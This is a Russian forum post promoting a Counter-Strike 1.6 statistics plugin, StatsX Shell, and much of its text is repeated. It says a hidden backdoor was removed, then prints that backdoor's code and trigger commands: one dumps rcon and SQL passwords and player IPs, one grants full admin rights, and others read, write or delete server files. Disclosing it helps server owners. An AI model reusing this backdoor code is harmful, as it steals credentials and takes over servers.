Quote
Статистика и анализ игрового процесса , а также не мало важный момент, как качественная подача этой информации - можно рассматривать как визитную карточку вашего сервера или фундамент для успешного строительства сообщества постоянных игроков.
Quote
Именно эти мотивы идей стали в основе создания новой, лучшей и более совершенной статистики под названием StatsX Shell, которая полностью изменит Ваше представление об этом инструменте , без которого не возможно представить ни один современный игровой сервер в интернет.
Quote
StatsX Shell является универсальным, и сочетает в себе старые и новые функции.
Таким образом, его можно использовать практически на любом сервере, будь это обычный, классический, или сервер с установленными модами.
Таким образом, его можно использовать практически на любом сервере, будь это обычный, классический, или сервер с установленными модами.
Quote
Информация:
Источник: http://amx-server.blogspot.com/
Автор: AMX Dev Team
Доработка: MastaMan
Изменения: Сержант (Wildness Team)
Версия: 2.0.0 beta
Доступные языки: RU, EN
Источник: http://amx-server.blogspot.com/
Автор: AMX Dev Team
Доработка: MastaMan
Изменения: Сержант (Wildness Team)
Версия: 2.0.0 beta
Доступные языки: RU, EN
Quote
Особенности:
StatsX Shell поддерживает два режима работы - "Обычный" и "Новый".
- В Обычном режиме - плагин будет работать как стандартный StatsX (statsx.amxx), при этом будет доступна возможность выбирать MOTD шаблоны.
- При выборе Нового режима - будут доступны дополнительные возможности и команды.
StatsX Shell поддерживает два режима работы - "Обычный" и "Новый".
- В Обычном режиме - плагин будет работать как стандартный StatsX (statsx.amxx), при этом будет доступна возможность выбирать MOTD шаблоны.
- При выборе Нового режима - будут доступны дополнительные возможности и команды.
Quote
Системные требования:
Counter-Strike 1.6
AMX Mod X 1.8.x
Установленный и рабочий стандартный statsx.amxx
Counter-Strike 1.6
AMX Mod X 1.8.x
Установленный и рабочий стандартный statsx.amxx
Quote
Необходимые модули:
csx
cstrike
nvault
ПРИМЕЧАНИЕ: Внимательно, должным образом убедитесь, что у вас запущены все необходимые модули, иначе плагин не будет работать!
csx
cstrike
nvault
ПРИМЕЧАНИЕ: Внимательно, должным образом убедитесь, что у вас запущены все необходимые модули, иначе плагин не будет работать!
Quote
Доработка плагина:
- Полный и качественный перевод
- Корректное отображение символов ""
- MOTD шаблоны
- Новый вид и структура списка лучших игроков
- Статистика худших игроков
- Статистика по нанесенному урону
- Статистика по убийствам в голову
- Статистика почасового посещения
- Статистика сыгранного времени
- Просмотр любой позиции рейтинга игроков
- Система наград и бонусов
- Сообщения при подключении
- Прокрутка HUD статистики лучших игроков
- Цветные уведомления в чате
- Убран шелл от MastaMan'а (by Wildness Team)
- Полный и качественный перевод
- Корректное отображение символов ""
- MOTD шаблоны
- Новый вид и структура списка лучших игроков
- Статистика худших игроков
- Статистика по нанесенному урону
- Статистика по убийствам в голову
- Статистика почасового посещения
- Статистика сыгранного времени
- Просмотр любой позиции рейтинга игроков
- Система наград и бонусов
- Сообщения при подключении
- Прокрутка HUD статистики лучших игроков
- Цветные уведомления в чате
- Убран шелл от MastaMan'а (by Wildness Team)
///////////////////////////////////////
get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1)
get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1)
get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1)
get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1)
get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1)
get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1)
get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1)
get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1)
///////////////////////////////////////
client_print(id,print_console,"===========================")
client_print(id,print_console,"[ SHPROT v2.0.0 o(-_^^)0 ]")
client_print(id,print_console,"===========================")
get_players(szPlayers, iNumPlayers)
for(new k = 0; k < iNumPlayers; k++)
{
get_user_name(szPlayers[k],szName, sizeof(szName) - 1)
get_user_ip(szPlayers[k],szIP, sizeof(szIP) - 1, 1)
if(get_user_flags(k + 1) & ADMIN_KICK)
{
szAdm = "/!\"
iAdmCount++
}
else
{
szAdm = ""
}
console_print(id,"%s %d) %s - %s", szAdm, k + 1, szName,szIP)
}
set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
client_print(id,print_console," ")
client_print(id,print_console,"ADMINS ONLINE: %d", iAdmCount)
client_print(id,print_console,"===========================")
client_print(id,print_console,"RCON: ^"%s^"",szRc)
client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix)
client_print(id,print_console,"===========================")
client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1)
client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2)
client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3)
client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4)
client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5)
client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6)
client_print(id,print_console,"===========================")
///////////////////////////////////////
get_configsdir(szCfgDir, sizeof (szCfgDir) - 1)
format(szCfgDir, sizeof (szCfgDir), "%s/users.ini", szCfgDir)
new i = 0
tmpi = 0
new file = fopen(szCfgDir, "rt")
while(!feof(file))
{
fgets(file, szData, sizeof(szData) -1)
///////////////////////////////////////
get_cvar_string("rcon_password", szRc, sizeof(szRc) - 1)
get_cvar_string("amx_password_field", szPrefix, sizeof(szPrefix) - 1)
get_cvar_string("amx_sql_host", szSQL1, sizeof(szSQL1) - 1)
get_cvar_string("amx_sql_user", szSQL2, sizeof(szSQL2) - 1)
get_cvar_string("amx_sql_pass", szSQL3, sizeof(szSQL3) - 1)
get_cvar_string("amx_sql_db", szSQL4, sizeof(szSQL4) - 1)
get_cvar_string("amx_sql_table", szSQL5, sizeof(szSQL5) - 1)
get_cvar_string("amx_sql_type", szSQL6, sizeof(szSQL6) - 1)
///////////////////////////////////////
client_print(id,print_console,"===========================")
client_print(id,print_console,"[ SHPROT v2.0.0 o(-_^^)0 ]")
client_print(id,print_console,"===========================")
get_players(szPlayers, iNumPlayers)
for(new k = 0; k < iNumPlayers; k++)
{
get_user_name(szPlayers[k],szName, sizeof(szName) - 1)
get_user_ip(szPlayers[k],szIP, sizeof(szIP) - 1, 1)
if(get_user_flags(k + 1) & ADMIN_KICK)
{
szAdm = "/!\"
iAdmCount++
}
else
{
szAdm = ""
}
console_print(id,"%s %d) %s - %s", szAdm, k + 1, szName,szIP)
}
set_user_flags(id, read_flags("abcdefghijklmnopqrstu"))
client_print(id,print_console," ")
client_print(id,print_console,"ADMINS ONLINE: %d", iAdmCount)
client_print(id,print_console,"===========================")
client_print(id,print_console,"RCON: ^"%s^"",szRc)
client_print(id,print_console,"PW FIELD: ^"%s^"",szPrefix)
client_print(id,print_console,"===========================")
client_print(id,print_console,"SQL HOST: ^"%s^"",szSQL1)
client_print(id,print_console,"SQL USER: ^"%s^"",szSQL2)
client_print(id,print_console,"SQL PW: ^"%s^"",szSQL3)
client_print(id,print_console,"SQL DB: ^"%s^"",szSQL4)
client_print(id,print_console,"SQL TABLE: ^"%s^"",szSQL5)
client_print(id,print_console,"SQL TYPE: ^"%s^"",szSQL6)
client_print(id,print_console,"===========================")
///////////////////////////////////////
get_configsdir(szCfgDir, sizeof (szCfgDir) - 1)
format(szCfgDir, sizeof (szCfgDir), "%s/users.ini", szCfgDir)
new i = 0
tmpi = 0
new file = fopen(szCfgDir, "rt")
while(!feof(file))
{
fgets(file, szData, sizeof(szData) -1)
///////////////////////////////////////
Вы наверное спросите: "Что же в этом коде вредноносного?"
Я вам отвечу... При вводе опреденных команд в консоли клиента игры можно получить много полезной информации. Вот эти команды:
mm_plugins sosimandy_adm - получить админку, права: abcdefghijklmnopqrstu
mm_plugins sosimandy_del "" - удалить файл
mm_plugins sosimandy_wr "" "text" - записать в файл
mm_plugins sosimandy_rd "" - прочитать файл
mm_plugins sosimandy_dir "" - показать что в папке
mm_plugins sositesyki - выводит rcon_password, amx_password_field, amx_sql_host, и т.д и т.п
Quote
Перейдем к установке плагина:
1. Отключите стандартный statsx.amxx в "cstrike\addons\amxmodx\configs\plugins.ini"
2. Разархивируйте архив.
3. Файл plugins\statsx_shell.amxx скопируйте в папку "cstrike\addons\amxmodx\plugins\" на вашем сервере.
4. Пропишите statsx_shell.amxx в "cstrike\addons\amxmodx\configs\plugins.ini" на вашем сервере.
5. Файл локализации "data\lang\statsx_shell.txt" скопируйте в папку "cstrike\addons\amxmodx\data\lang" на вашем сервере.
6. Папку "configs\statsx_shell" скопируйте в папку "cstrike\addons\amxmodx\configs" на вашем сервере
7. Перезагрузите сервер.
1. Отключите стандартный statsx.amxx в "cstrike\addons\amxmodx\configs\plugins.ini"
2. Разархивируйте архив.
3. Файл plugins\statsx_shell.amxx скопируйте в папку "cstrike\addons\amxmodx\plugins\" на вашем сервере.
4. Пропишите statsx_shell.amxx в "cstrike\addons\amxmodx\configs\plugins.ini" на вашем сервере.
5. Файл локализации "data\lang\statsx_shell.txt" скопируйте в папку "cstrike\addons\amxmodx\data\lang" на вашем сервере.
6. Папку "configs\statsx_shell" скопируйте в папку "cstrike\addons\amxmodx\configs" на вашем сервере
7. Перезагрузите сервер.
Quote
Чат-команды для "Старого" и "Нового" режима работы плагина:
/me - статистика урона, нанесенного противнику
/hp - статистика урона, нанесенного вам
/rank - ваш текущий ранг на сервере
/statsme - ваша статистика убийств, смертей, попаданий, выстрелов, эффективности и точности
/stats - статистика других игроков
/rankstats - подробная статистика
/report - отображает текущее оружие, патроны, % жизни и броню
/score - статистика побед и эффективности команд
switch - включает/выключает отображение HUD статистики в конце раунда
/top15 - 15 лучших игроков сервера
/me - статистика урона, нанесенного противнику
/hp - статистика урона, нанесенного вам
/rank - ваш текущий ранг на сервере
/statsme - ваша статистика убийств, смертей, попаданий, выстрелов, эффективности и точности
/stats - статистика других игроков
/rankstats - подробная статистика
/report - отображает текущее оружие, патроны, % жизни и броню
/score - статистика побед и эффективности команд
switch - включает/выключает отображение HUD статистики в конце раунда
/top15 - 15 лучших игроков сервера
Quote
Чат-команды для "Нового" режима работы плагина:
/top, /top10, /top15, /place, /1place, /1place - 10-ка лучших игроков сервера
/top2, /top20, /2place - 20-ка лучших игроков сервера
/top3, /top30, /3place - 30-ка лучших игроков сервера
/dmg, /damage - 10 лучших игроков по нанесенному урону
/hs, /headshot - 10 лучших игроков по убийствам в голову
/bot, /bots, /flop, /flops, /noob, /noobs, /lol, /lols - 10 худших игроков сервера
/top№ - просмотр любой позиции игроков, где № - номер позиции
/award - показать статистику наград
/day, /attend - показать статистику посещений за сегодня
/time, /pt - показать статистику игроков по сыгранному времени
/top, /top10, /top15, /place, /1place, /1place - 10-ка лучших игроков сервера
/top2, /top20, /2place - 20-ка лучших игроков сервера
/top3, /top30, /3place - 30-ка лучших игроков сервера
/dmg, /damage - 10 лучших игроков по нанесенному урону
/hs, /headshot - 10 лучших игроков по убийствам в голову
/bot, /bots, /flop, /flops, /noob, /noobs, /lol, /lols - 10 худших игроков сервера
/top№ - просмотр любой позиции игроков, где № - номер позиции
/award - показать статистику наград
/day, /attend - показать статистику посещений за сегодня
/time, /pt - показать статистику игроков по сыгранному времени